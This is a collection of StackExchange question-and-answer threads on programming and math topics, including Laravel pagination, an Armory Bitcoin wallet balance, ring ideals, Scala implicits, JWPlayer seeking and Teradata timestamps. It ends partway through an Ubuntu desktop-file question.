text
stringlengths 64
89.7k
| meta
dict |
---|---|
Q:
Paginate laravel duvidas
Transformei esse código 1 no código 2
1)//$palpites=DB::select("SELECT * FROM palpite WHERE id_u='$id' order by id_c desc ");
2) $palpites = DB::table('palpite')->where('id_u',$id)->orderby('id_c','desc') ->paginate(3);
Como transformar esse código abaixo no mesmo exemplo do 1,2?
$confrontos=DB::select("SELECT * FROM confrontos as c, palpite as p WHERE p.id_u ='$id' AND EXISTS (SELECT * FROM palpite WHERE c.id = p.id_c) order by id_c desc ");
A:
Bom dia!
Na cláusula onde envolve uma sub-consulta tu deves utilizar uma Clousure (função anônima) passando a informação desejada.
Exemplo:
...
->where(function($q) use ($query) {
$query->select(DB::raw('p.*'))
->from('palpite')
->whereRaw('c.id = p.id_c');
}
UPDATE:
Após a tua explicação sobre o que devia ser retornado, minha sugestão é primeiramente tu modificar tua query, da seguinte maneira:
select * from conf
inner join pal on pal.id_c = c.id
where pal.id_u = $id;
Desta maneira tu consegue os mesmos resultados que tu desejas. Para realizar a paginação dessa consulta no Laravel tu deve escrever algo como:
$confrontos = DB::table('confrontos')
->select('*')
->join('palpites', 'palpites.id_confronto', '=', 'confronto.id')
->where('palpites.id_usuario', $id)
->paginate(10);
|
{
"pile_set_name": "StackExchange"
}
|
Q:
Armory Wallet With 2BTC Gone After 3 Years! HELP!
I purchased 2 bitcoins with CoinBase online 3 years ago. I then sent them to an Armory wallet that I had on a server. Everything transferred successfully and I never thought twice about them disappearing. I have a paper back and an encrypted Armory backup of my wallet. I never made any further transactions.
I finally want to access my BTC in my Armory wallet. I started Armory and the program seemed to freeze many times without loading the block chain. I removed Armory and BitCoin-QT (now BitCoin Core). I installed the newest versions of both programs, downloaded the full block chain and restored my wallet using both the paper backup and the encrypted backup.
The balance of the wallet seems to be 0BTC no matter what backup I use. What happened to my 2BTC and how do I go about getting them back. I have full backup images of the server (c drive and d drive) before removing and reinstalling the software, if that helps.
I just can't seem to figure out where the heck my 2BTC went! Please help!
Here are all the details I could find.
My wallet after using my paper restore has the following two addresses.
Transaction #1 (small amount for testing)
Send to address:1CqmjgYj46vRqBxFvbt5WsqMudRShhGKmD
Transaction #: a821fac9e6216975fa8216045a3cd9ae500a82aa251988ca1f301c7287b74ab4
Transaction #2 (sent minutes after transaction 1)
Send to address: 16D1XkRHunUgSfuPDQZSPG42cAicTbSmzu
Transaction #: 5187441186fa834d8a27fb9302bbcb6d3993ff836e1918f8174d5b3266ffb21d
Transaction #3 (sent a month later)
Send to address: 1qjThyMzMrpy3m1esvXF32o3MHVixnxnA
Transaction #: 707e5f96d88134da5f5936b541df19faa9d7e5819d478bd5d533cbb2e9be62c9
A:
Try searching the address at blockchain.info with the following link
https://blockchain.info/address/<your_addres_here>
It will give the current balance of that address, the transactions it was involved. Just in case if your bitcoins were transferred somewhere you would know.
|
{
"pile_set_name": "StackExchange"
}
|
Q:
Android - Playing the sound of dialer button
I'm writing my custom dialer keyboard. Does anyone know how to play sound of tap to system dialer pad?(* # 0..9)
Thanks
A:
Have a look at the ToneGenerator class. It contains the correct tones and a way to play them. This is how the default Dialer app plays the tones.
|
{
"pile_set_name": "StackExchange"
}
|
Q:
Show that $3^{2n+1}-4^{n+1}+6^n$ is never prime for natural n except 1.
Show that $3^{2n+1}-4^{n+1}+6^n$ is never prime for natural n except 1. I tried factoring this expression but couldn't get very far. It is simple to show for even n but odd n was more difficult, at least for me.
A:
$$3 \cdot 3^{2n}-4\cdot 2^{2n}+2^n\cdot 3^n$$ has the form
$$3x^2-4y^2+xy=(x-y)(3x+4y)$$
A:
You can factor it as $(3^n-2^n)(3^{n+1}+4*2^n)=3^{2n+1}-3*6^n+4*6^n-4*4^n$. Here we juggle between $(ab)^n=a^nb^n$.
Since we can factorise it, to have a prime we need one of these factors to be 1, which only happens when $n$ is one, i.e the first term is $(3-2)$ and the second is 17. Note that the second term can't be 1 as it's an addition of two positive quantities.
A:
The first step is to make explicit the algebraic dependencies among $\,3^{2n},4^n,6^n.\,$ Clearly all can be expressed in terms of the multiplicatively independent basis $\, x = 3^n\,$ and $\,y = 2^n\,$ as follows
$$\begin{align}
&3^{2n} = (3^n)^2 = x^2\\
&4^n =\ (2^n)^2 = y^2\\
&6^n = 3^n 2^n = xy\end{align}$$
Rewriting our expression in these terms we obtain
$$\begin{align} &3\cdot 3^{2n} - 4\cdot 4^n + 6^n \\
=\ & 3\cdot x^2 - 4\cdot y^2 + xy\end{align}$$
Next we can factor this polynomial $\, f(x) = 3\,x^2 + y\, x - 4\,y^2 \ $ using the AC-method
$$ {\begin{eqnarray}
f \, &\,=\,& \ \ \, 3 x^2+\ y\ x\,\ -\ \ 4y^2\\
\Rightarrow\,\ 3f\, &\,=\,&\!\,\ (3x)^2\! +y(3x)-12y^2\\
&\,=\,& \ \ \ {X^2}+\, y\ X\,\ -\ 12y^2,\,\ \ X\, =\, 3x\\
&\,=\,& \ \ (X+4y)\ (X-\,3y)\\
&\,=\,& \ (3x+4y)\,(3x-3y)\\
\Rightarrow\ \ f\:=\: {3^{-1}}\,(3f)\, &\,=\,& \, (3x+4y)\ (x-y)\\
\end{eqnarray}}$$
|
{
"pile_set_name": "StackExchange"
}
|
Q:
Can I set the slider on my universal adapter between 4.5V and 6V to get 5V?
I have a dehumidifying cabinet which requires 5V 900mA, and I have a universal adapter that is rated at 1000mA 12V, however the slider doesn't have a 5V marking, only 4.5 and 6V. Is it okay to point the slider to somewhere between 4.5 and 6 in hope of getting around 5V?
A:
If the slider is a switch, then you won't be able to set the output to an intermediate value (5.0V). The only way that you would be able to get a 5.0V output is if the slider is a linear potentiometer, although I find that unlikely.
It's more likely to be a switch because switches are cheaper and don't require calibration for specific positions (4.5V, 6.0V, etc...). It may still work at the 4.5V setting, depending on the electronics since 4.5V is only -10% from the specified voltage.
|
{
"pile_set_name": "StackExchange"
}
|
Q:
.NET MVC 3, autogenerate/mapping model schema into Mysql?
I'm new to .net mvc 3. I was using PHP Symfony previously.
In this tutorial from the official website, the author used .sdf as example.
http://beta.asp.net/mvc/tutorials/getting-started-with-mvc3/getting-started-with-mvc3-part4-cs
The schema in .sdf was autogenerated according to the Model class file.
My question, is it possible to do the same thing using Mysql?
Thanks :)
A:
This should work (have never used ef code first with mySql) as long as you have the .net connector for MySql.
You can grab it here: http://dev.mysql.com/downloads/connector/net/
You can also try this alternative connector from DevArt: http://www.devart.com/dotconnect/mysql/
* EDIT *
It seems that the DevArt connector will do the trick.
|
{
"pile_set_name": "StackExchange"
}
|
Q:
Idolatry within Islam
If Islam strives against idolatry, can you explain why when Muhammad returned to Mecca and destroyed the false idols, he intentionally left the Ka'bah which is now centric to Islam. I think I understand that the Ka'bah seems like more of a connection to Allah though Abraham, but praying in the direction of the Ka'bah, isn't that somewhat hypocritical?
A:
The Kaabah is a building and not an image or representation of Allah, not a false deity, and not the intended object of worship, hence it is not an idol.
It does mark the qiblah: the direction faced when worshiping Allah on earth. And this has been ordained by Allah before the conquest of Makkah and even before the advent of the arabs:
وعهدنا إلى إبراهيم وإسماعيل أن طهرا بيتي للطائفين والعاكفين والركع السجود
And We charged Abraham and Ishmael, [saying], "Purify My House for those who perform Tawaf and those who are staying [there] for worship and those who bow and prostrate [in prayer].
― Quran 2:125 ; also see Quran 3:96
ومن حيث خرجت فول وجهك شطر المسجد الحرام وحيث ما كنتم فولوا وجوهكم شطره
And from wherever you set out, turn your face in the direction of the Sacred Mosque (Al-Masjid-ul-Harām), and (O Muslims), wherever you are, turn your faces in its direction
― Quran 2:150
The other major aniconic religion, Judaism, also has a qiblah which was the Tabernacle and then the Baitul Maqdas.
And Joshua rent his clothing and fell to the earth upon his face before the Ark of the Lord until the evening
― Joshua 7:6
I shall prostrate myself toward Your Holy Temple
― Psalms 138:2
That Your eyes may be open toward this house night and day, toward the place which You said, 'My Name will be there;' to listen to the prayer that Your servant will pray toward this place.
― 1 Kings 8:29
and spread forth his hands toward this house.
― 1 Kings 8:38
And Daniel, when he knew that a writ had been inscribed, came to his house, where there were open windows in his upper chamber, opposite Jerusalem, and three times a day he kneeled on his knees and prayed and offered thanks before his God just as he had done prior to this.
― Daniel 6:10
So praying in the direction of Allah's House is not idolatory.
|
{
"pile_set_name": "StackExchange"
}
|
Q:
Laravel4 Get 10 items with highest count of a relation type
Assume my project contains Posts which have many Votes.
How can I get the 10 Posts which have the highest count of votes?
A:
You can't do this (AFAIK) in one nice query with Eloquent. You can either use DB::select() using the table names directly and joining and ordering by the count.
However, if you don't mind a bit of overhead and PHP processing you can do something like the following:
$posts = Post::with('Vote')->all()->sortBy(function ($item) {
return $item->votes->count();
}, SORT_REGULAR, true)->take(10);
|
{
"pile_set_name": "StackExchange"
}
|
Q:
PHP async process communication
Is there a way to achieve inter-process (or threading) communication in PHP, but still keep everything run asynchronous?
I want to have a script that creates 4 processes and then terminates immediately. Each of the 4 processes should do an action and when finished it should notify someone (another script maybe?) that it finished. So I want to know when all of the 4 scripts are done, so I can update my status from retrieving to done.
Is this possible? Preferably without re-compiling PHP (I read this is required for working with threads), but I will do that if necessary.
A:
As others have mentioned, Gearman is one solution. The other, one I actually prefer, is creating an asynchronous message queue where you add jobs on the job stack.
I'm using ZeroMQ for such purposes, and there's a PHP framework available that implements ZeroMQ for async tasks called Photon. Browsing Photon's source might give you some ideas on how to implement async job queue in case you decide to go with it.
A:
You can use a job queueing system or stick it into CRON. PHP has support for a few job queues, but I have used Gearman in the past and I have written a custom wrapper around the Linux at command. Both of these could be used to achieve "thread-like" behaviour without recompiling PHP.
|
{
"pile_set_name": "StackExchange"
}
|
Q:
Operations with ideals: sum and product
Operations at ideals.
The sum is defined as $$I_1 + I_2 + \dots + I_m =\{a_1+a_2+\cdots +a_m\mid a_i \in I_i\}.$$ It can be proven that $$I_1 + I_2 + \dots + I_m \trianglelefteq R$$ and each $$I_i\subseteq I_1 + I_2 + \dots + I_m. $$
The product is defined as $$I_1 \cdot I_2 \cdot \dots \cdot I_m =\{\text{finite sum of products } a_1\cdot a_2 \cdot \dots \cdot a_m \mid a_i \in I_i\}.$$ It can be proven that $$I_1 \cdot I_2 \cdot \dots \cdot I_m \trianglelefteq R$$ $$I_1 \cdot I_2 \cdot \dots \cdot I_m \subset I_i.$$
Could you explain to me why the subsets hold??
A:
If $a_i\in I_i$, $a_i=0+\cdots+a_i+\cdots+0\in I_1+\cdots+I_m$.
If $a_i\in I_i$ for each $1\le i\le m$, then $a_1\cdot\ldots\cdot a_m\in I_1\cap\cdots\cap I_m$.
|
{
"pile_set_name": "StackExchange"
}
|
Q:
Redirect on click on button dynamics 365
I have been working with ribbon workbench 2016 beta and smart buttons and I realized that there is not a function to redirect on click.
What I want is when I do click on a button which create a new entity record that these action redirect me to the new entity record that it has created... This entities are, orders and delivery note. The two entities are related. The button is located in the first entity.
Do you have any idea how to do it?
This is the button
And this is the page where i want to be redirect.
A:
To redirect you have to create a new js that is called by the command on the ribbon button.
Get the value of the related entity and populate it in a new window.
function Redirect()
{
var URL= Xrm.Page.getAttribute("relatedentityurl").getValue();
if (URL != null || URL != "")
{
window.open(URL, '_blank');
}
}
|
{
"pile_set_name": "StackExchange"
}
|
Q:
What is $\frac{(-1)^n}{n}$ as $n$ approaches infinity?
What is the limit of $\frac{(-1)^n}{ n}$ as $n$ approaches positive infinity?
I can see how it would converge to zero, as the denominator swiftly over powers the numerator. However, the top goes into the imaginary plane for non-integer $n$. Furthermore, since the limit as $x$ goes toward infinity of $\sin(x)$ is DNE, would the same logic apply here?
Is the answer $0$ or DNE?
A:
$$
\left|\frac{(-1)^n}{n}\right|\leq \frac{1}{n} \longrightarrow 0
$$
A:
What matters,
even if we consider
real $n$ instead of
integer $n$,
is that
$|(-1)^n|
=|e^{\pi i n}|
=|\cos(\pi n)+i\sin(\pi n)|
=1
$.
Therefore,
as Hamza wrote,
$|\frac{(-1)^n}{n}|
=|\frac{1}{n}|
\to 0
$
as
$n \to \infty$
for real or integer $n$.
|
{
"pile_set_name": "StackExchange"
}
|
Q:
Puppeteer and dynamically added iFrame (element)
We have an angularJs application that popup a modal form (component) on button pressed.
This component loads an iFrame, which I cannot seem to access with Puppeteer.
Have tried with mainFrame.
await page.waitFor(15000);
const frame = page.mainFrame().childFrames().find((iframe) => {
console.log('FRAME', iframe.name(), iframe.url());
return iframe.name() === 'iFrameName';
});
The above only has one frame (the main frame/window).
Have tried with frames
await page.waitFor(15000);
const frame = page.frames().find((iframe) => {
console.log('FRAME', iframe.name(), iframe.url());
return iframe.name() === 'iFrameName';
});
Have tried with contentFrame
await page.waitForSelector('iframe', { visible: true, timeout: 2000 });
const elementHandle = await page.$('iframe');
await page.waitFor(1000);
const frame = await elementHandle.contentFrame();
With the above, elementHandle has a value but frame is null
We have this working with Protractor, were hopping to move to Puppeteers but if there is no solution will have to stick with Protractor (which has it own other issues)
A:
Currently, there is no support for out-of-process iframes (OOPIFs). To be able to work with them, you need to launch Chromium with --disable-features=site-per-process:
const browser = await puppeteer.launch({
args: ['--disable-features=site-per-process']
});
You can track puppeteer's issue/support here.
|
{
"pile_set_name": "StackExchange"
}
|
Q:
Scala implicit conversions and mkNumericOps with value classes
I am trying to add numeric operations to a value class that I have defined called Quantity. Code that I am using this is as follows...
import scala.language.implicitConversions
case class Quantity(value: Double) extends AnyVal
object Quantity {
implicit def mkNumericOps(lhs: Quantity): QuantityIsNumeric.Ops = QuantityIsNumeric.mkNumericOps(lhs)
}
object QuantityIsNumeric extends Numeric[Quantity] {
def plus(x: Quantity, y: Quantity): Quantity = Quantity(x.value + y.value)
def minus(x: Quantity, y: Quantity): Quantity = Quantity(x.value - y.value)
def times(x: Quantity, y: Quantity): Quantity = Quantity(x.value * y.value)
def negate(x: Quantity): Quantity = Quantity(-x.value)
def fromInt(x: Int): Quantity = Quantity(x.toDouble)
def toInt(x: Quantity): Int = x.value.toInt
def toLong(x: Quantity): Long = x.value.toLong
def toFloat(x: Quantity): Float = x.value.toFloat
def toDouble(x: Quantity): Double = x.value
def compare(x: Quantity, y: Quantity): Int = x.value compare y.value
}
I use this code as follows...
class SortedAskOrders[T <: Tradable] private(orders: immutable.TreeSet[LimitAskOrder[T]], val numberUnits: Quantity) {
def + (order: LimitAskOrder[T]): SortedAskOrders[T] = {
new SortedAskOrders(orders + order, numberUnits + order.quantity)
}
def - (order: LimitAskOrder[T]): SortedAskOrders[T] = {
new SortedAskOrders(orders - order, numberUnits - order.quantity)
}
def head: LimitAskOrder[T] = orders.head
def tail: SortedAskOrders[T] = new SortedAskOrders(orders.tail, numberUnits - head.quantity)
}
...when I try and compile this code I get the following error..
Error:(29, 63) type mismatch;
found : org.economicsl.auctions.Quantity
required: String
new SortedAskOrders(orders + order, numberUnits + order.quantity)
The following implementation of the + method which explicitly uses implicit conversions (which I thought should already be in scope!) works.
def + (order: LimitAskOrder[T]): SortedAskOrders[T] = {
new SortedAskOrders(orders + order, Quantity.mkNumericOps(numberUnits) + order.quantity)
}
The compiler does not seem to be able to find the implicit conversion for the numeric + operator. Thoughts?
I thought that it would be pretty standard to use implicit conversions and the Numeric trait to create numeric operations for a value class. What am I doing wrong?
A:
The issue is that while you've provided a conversion that supports the enriched operations, it has a lower priority than scala.Predef.any2stringadd. You can confirm this by shadowing the any2stringadd name with an implementation that's not applicable here:
scala> implicit def any2stringadd(i: Int): Int = i
any2stringadd: (i: Int)Int
scala> def add(a: Quantity, b: Quantity): Quantity = a + b
add: (a: Quantity, b: Quantity)Quantity
Imported implicits will always take precedence over implicits defined in companion objects, and Predef is implicitly imported in all your source files (unless you've enabled -Yno-predef, which I'd highly recommend, at least for library code).
Unless you're willing to turn off Predef, the only way around this is to import the conversion (and even if you can turn off Predef, your users may not be able or willing to).
As a side note, you can make this code a lot more idiomatic by using Numeric as a type class:
case class Quantity(value: Double) extends AnyVal
object Quantity {
implicit val quantityNumeric: Numeric[Quantity] = new Numeric[Quantity] {
def plus(x: Quantity, y: Quantity): Quantity = Quantity(x.value + y.value)
def minus(x: Quantity, y: Quantity): Quantity = Quantity(x.value - y.value)
def times(x: Quantity, y: Quantity): Quantity = Quantity(x.value * y.value)
def negate(x: Quantity): Quantity = Quantity(-x.value)
def fromInt(x: Int): Quantity = Quantity(x.toDouble)
def toInt(x: Quantity): Int = x.value.toInt
def toLong(x: Quantity): Long = x.value.toLong
def toFloat(x: Quantity): Float = x.value.toFloat
def toDouble(x: Quantity): Double = x.value
def compare(x: Quantity, y: Quantity): Int = x.value compare y.value
}
}
I.e., instead of having an object instantiating Numeric and using its ops instance explicitly, you simply provide an implicit instance of the Numeric type class in your companion object. Now you need an import for any use of the ops syntax methods:
scala> import Numeric.Implicits._
import Numeric.Implicits._
scala> def add(a: Quantity, b: Quantity): Quantity = a + b
add: (a: Quantity, b: Quantity)Quantity
But this is a standard import that other Scala users are more likely to know about, rather than a custom thing that you have to explain separately.
|
{
"pile_set_name": "StackExchange"
}
|
Q:
Negative definiteness of a 2$\times$2 block matrix with one zero block on diagonal
Let $M = \left[ \begin{matrix} 0 & I \\ -A & -B\end{matrix}\right]$, where both $A$ and $B$ are positive definite matrices of desired order. Trying different random matrices for $A>0$ and $B>0$, I get the impression that $M<0$ always holds. Since one of the block diagonals in $M$ is zero, I struggle to use the Schur complement. So if $M<0$ really holds, can anyone please prove it or give me some hints? Thanks.
A:
Since $vMv^T=v((M+M^T)/2)v^T,$it follows that$M$ is negative-definite iff $(M+M^T)/2$ is negative-definite iff $M+M^T$ is negative-definite. Suppose $A$ and $B$ are 2x2 matrices. Then $M+M^T$ has an upper left 2x2 block entirely 0. Let $v =[1, 1, 0, 0].$
Then $v(M+M^T)v^T=[0],$ so $M+M^T$ is not negative-definite and thus $M$ is not negative-definite.
|
{
"pile_set_name": "StackExchange"
}
|
Q:
Should I use node.js for my singe-page-app?
I've built a Backbone.js app that does all the heavy-lifting, such as templating, translations and data loading, client side. (The application is basically a framework for educational material - videos and interactive visualizations - and does so far not include any significant real-time features.)
Still, I'm pondering if I'd better use node.js for some features ...?
SEO
Is JSDOM or other node.js library mature enough to serve rendered templates to the client?
Desktop
In the near future, is it conceivable to distribute an .exe / .app with node.js running locally? And which framework should I be looking at?
Translations / i18n
Would it be a good idea to use node.js for looking up translations and to build a translation dashboard for translators?
Database
Should I also use node.js for querying my database (probably SQLite as I'd like to mirror it locally) for User and Other data or stick with PHP/Ruby backend?
All in all, what am I missing if I stick to my original client-side approach; could my JavaScript framework for navigating and interacting with educational material benefit from including node.js from an early point?
A:
SEO: I'm not exactly sure what you're looking for, but node.js has many usable templating engines. you can find these through the wiki
https://github.com/joyent/node/wiki/modules#wiki-templating
or npm (node package manager):
http://search.npmjs.org/
Also, there are frameworks such as Express.js that include the ability to use templating to serve pages, but the templating engine is switchable to almost any package.
http://expressjs.com/
Desktop: you can check out the Titanium app with a local running node instance here.
http://developer.appcelerator.com/blog/2011/06/titanium-desktop-node-js-prototype.html
Translations and Databases: I don't know a whole lot about translations, but I assume you'll need a database to store your translations and node.js has many capable libraries for talking to databases. This doesn't sound like a node.js problem so much as a choice of database problem. You have your choice of many SQL and NoSQL solutions.
It will be up to you to decide if you want to use node.js as only you know the true scope of your project.
|
{
"pile_set_name": "StackExchange"
}
|
Q:
Equivalent input admittance problem - how to confirm with LT-spice
I had the following problem.
Consider this circuit:
Okay, so I think I solved the problem correctly (?) I start with creating equivalent impedances of the outer components.
\$ Z_1 = \frac{5 \Omega \cdot \frac{1}{j \cdot 220\text{nF} \cdot180\text{kHz}\cdot 2\pi}}{5\Omega+\frac{1}{j \cdot220\text{nF}\cdot180\text{kHz}\cdot 2\pi}}\$
\$Z_2=2\cdot(\frac{1}{j \cdot 750\text{nF} \cdot180\text{kHz}\cdot 2\pi})\$
\$Z_3=\frac{Z_1 \cdot Z_2}{Z_1+Z_2}\$
Now, the two inductors and \$Z_3\$ are in series.
\$Z_4=2\cdot(j\cdot 5\mbox{uH} \cdot 180 \mbox{kHz} \cdot2\pi)+Z_3\$
At last the 47nF capacitor is in parallel with \$Z_4\$.
\$Z_5 = \frac{\frac{1}{j \cdot 47 \text{nF}\cdot180 \text{kHz} \cdot 2\pi}\cdot Z_4}{{\frac{1}{j \cdot 47 \text{nF}\cdot180 \text{kHz} \cdot 2\pi} + Z_4}} = 1.822 \Omega + 21.0117j \Omega\$
\$Y=1/Z=4.0969 \text{mS} - 47.237j \text{mS}\$
So the conductance is 4.0969mS and the susceptance is - 47.237mS.
I really want to double check this, and I don't know how to do it in Lt-spice. Can anyone help me with this, or maybe confirm that my answer is correct?
A:
You can use .ac list <freq> for a single point analysis in frequency, but that will only give you the magnitudes and the phases, from which you'll have to calculate manually (I used wxMaxima):
Note that I used the reversed voltage source with 180o to plot directly I(V1); just a whim, or not. Or, you can add one more point to the list (the commented out one) so that the waveform viewer appears, and then use the cursors and the builtin math to calculate (be sure to set the Y-axis to linear, for better reading):
Note that the value for the imaginary part appears positive, but the phase it's 180o, which means negative. Or you can choose the cartesian plot and simply plot I(V1)/V(a). Take your pick.
|
{
"pile_set_name": "StackExchange"
}
|
Q:
Getting EXC_BAD_ACCESS on ABAddressBookSave
I am using below code to remove the contact from my addressbook. (on iOS 5.0). But its giving me EXC_BAD_ACCESS every time on ABAddressBookSave(addressBook, NULL);. I have selected NSZombieEnalbeld but it's still not giving me clear error.
ABAddressBookRef addressBook = ABAddressBookCreate();
CFErrorRef error = NULL;
ABRecordRef person = ABAddressBookCopyArrayOfAllSources(addressBook);
BOOL success = ABAddressBookRemoveRecord(addressBook, person, &error);
if (success)
{
BOOL su = ABAddressBookSave(addressBook, NULL);
NSLog(@"Removed ----");
}
CFRelease(addressBook);
What is going wrong?
A:
The problem is with this line:
ABRecordRef person = ABAddressBookCopyArrayOfAllSources(addressBook);
ABAddressBookCopyArrayOfAllSources returns an CFArray and not an ABRecord
If you want to remove a person from the address book, you need to get it's reference like:
ABRecordRef person = ABAddressBookGetPersonWithRecordID(addressBook, recordID);
where recordID, the id of the person you are trying to remove (you need to obtain this).
As for more information on how to get a person from the address book, you can take a look at this SO response
|
{
"pile_set_name": "StackExchange"
}
|
Q:
Serial port or USB port using D?
I'm new using the D programming language and I was wondering if D can make use of the Serial port or usb port?
A:
That would presumably involve system calls of some kind, which would be in C, but you can call C functions from D, so unless there's a library that will wrap it for you (which I rather doubt), you'll have to figure out what the appropriate C calls are and use them.
A:
Creating bindings to C libraries is pretty straightforward in D, so you might try libusb for cross-system USB access.
|
{
"pile_set_name": "StackExchange"
}
|
Q:
Unable to install and run my own npm module in Linux
I've created a npm module that I intend to publish, but not without testing that it works first. So I install the module I'm working with, npm install -g . and it works well on my Windows computer, but it won't run on my Linux (Debian) computer. Instead I get the following error:
15:52 $ transval
: No such file or directory
The only thing I've found so far when I compare the generated cmd and bash file on my windows computer is that whilest (when comparing to, say, 'gulp') the cmd-files are identical in structre the bash files are not. The second line, where the basedir is set differs. This the full output of the published bash file for my module:
#!/bin/sh
basedir=$(dirname "$(echo "$0" | sed -e 's,\\,/,g')")
case `uname` in
*CYGWIN*) basedir=`cygpath -w "$basedir"`;;
esac
if [ -x "$basedir/node" ]; then
"$basedir/node" "$basedir/node_modules/transval/bin/transval.bin.js" "$@"
ret=$?
else
node "$basedir/node_modules/transval/bin/transval.bin.js" "$@"
ret=$?
fi
exit $ret
But if I compare the top two lines with any other file there is a significant difference! This is the top two lines from any other module, such as gulp:
#!/bin/sh
basedir=`dirname "$0"`
All other bash files get that dirname. If I change my bash file to that basedir it all of a sudden works. It is driving me mad!
EDIT:
These two files are created when I run the command npm install -g . (thus installing my package globally for testing) or when I have published (i.e. npm publish), so I'm not generating these files my self.
My package.json has a bin entry which points at a file that looks like this:
#!/usr/bin/env node
var app = require('../bundle.js');
app.init(process.argv);
Anyone have any idea why it would work on Windows and not in Linux?
A:
Ok, found the problem. It seems to have been a problem with publishing from Windows. Once I had published from Linux (Ubuntu in this case) I could install it on both Linux and Windows computers.
I'm not sure what the reason for this is, be it some npm bug or an issue with doze line breaks, but now it's working :)
I did try to publish previously from Linux, and failed, but with an old version of Node (4.something) and that didn't work but now I've upgraded to the latest version and it works well, so that might've had something to do with it.
Edit:
I can now verify that publishing on a Debian machine running node 6.2.2 creates an unusable published version whereas publishing on a Ubuntu machine running node 7.4.0 works well and can be installed and run anywhere. Both machines are running npm version 4.0.5.
|
{
"pile_set_name": "StackExchange"
}
|
Q:
Javascript API: queryTask error - where should I put the alert?
Where in the code do I add an error message if nothing is returned?
function execute() {
//
var queryTask = new QueryTask("http://sepa-app-gis01/arcgis/rest/services/live/SEARCH/MapServer/2");
var query = new Query();
query.returnGeometry = true;
query.outFields = [
"POSTCODE"
];
query.text = dom.byId("Postcode").value.toUpperCase();
queryTask.execute(query, showResults);
};
Should I add Error to the queryTask.execute first??
queryTask.execute(query, showResults, Error)
A:
The Error function will returns a result if something is wrong with the query, like an improperly formatted where statement or a incorrect URL. A result of no records found isn't an error. In your showResults function, you can test to see if any results were returned, like this:
function showResults(results){
if (results.features.length === 0) {
console.log("No features found.");
} else {
'do something
}
});
|
{
"pile_set_name": "StackExchange"
}
|
Q:
Does using scrapy-splash significantly affect scraping speed?
So far, I have been using just scrapy and writing custom classes to deal with websites using ajax.
But if I were to use scrapy-splash, which from what I understand, scrapes the rendered html after javascript, will the speed of my crawler be affected significantly?
What would be the comparison between time it takes to scrape a vanilla html page with scrapy vs javascript rendered html with scrapy-splash?
And lastly, how do scrapy-splash and Selenium compare?
A:
It depends on the amount of javascript present on the page.
You must know that to render all the javascript the splash takes some time and the python application proceeds without waiting for the rendering to be complete. So sometimes splash is also not able to do it.
You can explicitly put a wait for rendering as it needs some time generally.
Also it is a good practice to put up some wait.
Here,
import scrapy
from scrapy_splash import SplashRequest
yield scrapy.Request(url, callback=self.parse, meta={'splash':{'args':{'wait':'25'},'endpoint':'render.html'}})
or
import scrapy
from scrapy_splash import SplashRequest
yield SplashRequest(url, self.parse, endpoint='render.html',
args={'wait': 5, 'html' : 1 } )
Between scrapy and selenium
Selenium is only used to automate web browser interaction, Scrapy is used to download HTML, process data and save it(whole web crawling framework).
Talking about scraping I would recommend scrapy and if the problem is javascript.
Scrapy already has its own official project for javascript called scrapy-splash
Also, you can create new instance of webdriver from Selenium in the scrapy spider, do some work, extract the data, and then close it after all work done.
|
{
"pile_set_name": "StackExchange"
}
|
Q:
JWPlayer time seek area and reset vars
The goal is to create a video player that is only playable thru outside events, which is a click. The click event contains a data attr that specifies the area to play, i.e... 10 seconds thru 25 seconds.
Multiple buttons exists. After each time is lapsed, it needs to pause the video.
the buttons sequence will appear in random order.
Heres the example code:
http://jsfiddle.net/arkjoseph/n2rpq1t4/28/
<div id="player"></div>
<section>
<div class="seeker" data-start="0" data-end="5">Go to 0-5</div>
</section>
<section>
<div class="seeker" data-start="6" data-end="10">Go to 6-10</div>
</section>
$(function(){
$("section").each(function(){
$(this).find(".seeker").on('click',function(event){
var start = $(this).data('start'),
end = $(this).data('end');
seekitnow(start,end);
});
});
});
function seekitnow(start,end) {
jwplayer("player").seek(start).onTime(function(event) {
var start;
if(event.position >= end) {
this.pause();
}
//var end;
});
}
The works to a degree but each button click is registering the existing variable that was stored(start / end). How can I prevent this from happening?
If i click button 1 (0-5) it works fine. If i click 6-10, the video stops and the console has 0,5,6,10.
HELP!
A:
I debugged this a little to try and figure out exactly what the odd behaviour was.
I noticed that the every time the Go to 0-5 and Go to 6-10 sections were clicked, jwPlayer.onTime() was being called along with the creation of new jwPlayer handlers (jwplayer("player").seek(start).onTime(function(event) {), which resulted in new callbacks being added to the queue of callbacks for the jwPlayer time change event.
This was causing a lot of strange behaviour as I continued clicking the sections.
I changed the code around so that onTime() is only executed once and that the end is shared state, and then forked the jsFiddle.
The resulting behavior is:
When clicking on Go to 0-5, the video seeks to time 0, and pauses
when second 5 is reached.
When clicking on Go to 6-10, the video
seeks to second 5, and pauses when second 10 is reached.
Is this the correct behavior?: https://jsfiddle.net/a8dao9d4/
jwplayer("player").setup({
file: "https://player.vimeo.com/external/135492851.hd.mp4?s=a61836463fbde188aaa1e24e6bfeeb39&profile_id=113",
startparam: "starttime",
});
$(function(){
var player = jwplayer("player");
var end = 32;
player.onTime(function(event) {
if(event.position >= end) {
this.pause();
}
});
$("section").each(function(){
$(this).find(".seeker").on('click',function(event){
end = $(this).data('end');
player.seek(
$(this).data('start')
);
});
});
});
|
{
"pile_set_name": "StackExchange"
}
|
Q:
Timestamp in where clause
In my Teradata Query I want to do something like this. But its not working-
Select *
Where SCAN_TIME > 01/01/2015 13:11:00
My SCAN_TIME column is a TIMESTAMP(0) field with data as shown above. How should I go about doing this?
A:
You currently calculate 1 divided by 1 divided by 2105 and get a syntax error complaining about the following 13 :-)
There's only one recommended way to write a TIMESTAMP, using a Standard SQL literal, the keyword TIMESTAMP' followed by a string with 'YYYY-MM-DD HH:MI:SS' format:
Where SCAN_TIME > TIMESTAMP '2015-01-01 13:11:00'
Similar literals exist for date & time:
DATE '2015-01-01'
TIME '13:11:00'
|
{
"pile_set_name": "StackExchange"
}
|
Q:
Is it ok to add examples to an answer?
Similar to 'editing to add links', is it also ok to add an example?
I was going to answer this question but I noticed that one answer had most of the things I needed to say, except perhaps that the questioner didn't perhaps understand the answer and I feel that an example may help.
A:
If it will improve the answer, go right ahead. Take a cue from the FAQ
Like Wikipedia, this site is collaboratively edited. If you are not comfortable with the idea of your questions and answers being edited by other trusted users, this may not be the site for you.
If the original author doesn't think so, they'll just roll it back.
|
{
"pile_set_name": "StackExchange"
}
|
Q:
Add java-program (Eclipse,JabRef,Maple,...) to favorites on Ubuntu
If I create a Java-desktop-file in ~/.local/share/applications I do not have the option "Add to Favorites".
I tried it with JabRef:
[Desktop Entry]
Type=Application
Terminal=false
